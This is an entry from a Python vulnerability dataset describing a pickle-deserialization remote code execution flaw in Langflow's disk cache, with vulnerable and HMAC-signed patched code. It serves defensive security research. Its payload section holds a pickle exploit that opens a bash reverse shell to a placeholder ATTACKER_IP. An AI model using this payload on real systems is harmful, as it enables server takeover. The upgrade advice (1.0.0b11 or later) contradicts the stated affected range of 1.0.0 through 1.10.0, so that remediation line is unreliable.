CVE-2026-8476
Langflow RCE from unsafe pickle deserialization of cached objects.
- CVSS 9.9
- CWE-502
- Input Validation and Sanitization
- Remote
IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the disk-based caching mechanism. The AsyncDiskCache class uses Python's unsafe pickle.loads() function to deserialize cached objects from disk without validation, integrity verification, or authentication, enabling arbitrary code execution when malicious pickle payloads are processed. Attackers who can influence cached data through file system access, malicious workflow inputs, custom components, or API manipulation can achieve complete system compromise with the privileges of the Langflow server process.
- CWE
- CWE-502
- CVSS base score
- 9.9
- Published
- 2026-07-17
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- IBM Langflow
- Fixed by upgrading
- Yes
Solution
Upgrade to Langflow version 1.0.0b11 or later.
Vulnerable code sample
import pickle
import os
import hashlib
import aiofiles
from typing import Any, Optional
class AsyncDiskCache:
def __init__(self, cache_dir: str = "/tmp/langflow_cache"):
self.cache_dir = cache_dir
os.makedirs(self.cache_dir, exist_ok=True)
def _get_path(self, key: str) -> str:
"""Generate a file path for a given key."""
hashed_key = hashlib.sha256(key.encode('utf-8')).hexdigest()
return os.path.join(self.cache_dir, f"{hashed_key}.pkl")
async def get(self, key: str) -> Optional[Any]:
"""
Retrieves and deserializes an object from the cache.
This is the vulnerable method.
"""
filepath = self._get_path(key)
if not os.path.exists(filepath):
return None
try:
async with aiofiles.open(filepath, 'rb') as f:
data = await f.read()
# Unsafe deserialization using pickle.loads()
return pickle.loads(data)
except Exception:
# Handle cases like file corruption or deserialization errors
return None
async def set(self, key: str, value: Any) -> None:
"""Serializes and saves an object to the cache."""
filepath = self._get_path(key)
serialized_value = pickle.dumps(value)
async with aiofiles.open(filepath, 'wb') as f:
await f.write(serialized_value)Patched code sample
import pickle
import hmac
import hashlib
import aiofiles
import aiofiles.os
from pathlib import Path
# In a real application, this key must be securely generated and managed,
# for example, by loading it from a secure vault or environment variable.
SECRET_KEY = b'replace-with-a-securely-generated-and-managed-secret-key'
class AsyncDiskCache:
def __init__(self, cache_dir: str):
self.cache_dir = Path(cache_dir)
self.cache_dir.mkdir(parents=True, exist_ok=True)
self.secret_key = SECRET_KEY
self.signature_length = hashlib.sha256().digest_size
def _get_path(self, key: str) -> Path:
hashed_key = hashlib.sha256(key.encode()).hexdigest()
return self.cache_dir / f"{hashed_key}.cache"
async def set(self, key: str, value: object):
"""Serializes, signs, and writes data to the cache."""
path = self._get_path(key)
pickled_data = pickle.dumps(value)
signature = hmac.new(
self.secret_key, pickled_data, hashlib.sha256
).digest()
async with aiofiles.open(path, "wb") as f:
await f.write(signature + pickled_data)
async def get(self, key: str) -> object | None:
"""
Reads, verifies the signature, and deserializes a cached object.
This fixed method prevents loading tampered/malicious data.
"""
path = self._get_path(key)
if not await aiofiles.os.path.exists(path):
return None
async with aiofiles.open(path, "rb") as f:
payload = await f.read()
if len(payload) < self.signature_length:
return None
expected_signature = payload[:self.signature_length]
pickled_data = payload[self.signature_length:]
actual_signature = hmac.new(
self.secret_key, pickled_data, hashlib.sha256
).digest()
if not hmac.compare_digest(expected_signature, actual_signature):
# Signature mismatch indicates data tampering. Do not deserialize.
return None
# Only deserialize if the integrity check passes.
return pickle.loads(pickled_data)Payload
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"')
return (os.system, (cmd,))
payload = pickle.dumps(RCE())
Cite this entry
@misc{vaitp:cve20268476,
title = {{Langflow RCE from unsafe pickle deserialization of cached objects.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-8476},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-8476/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
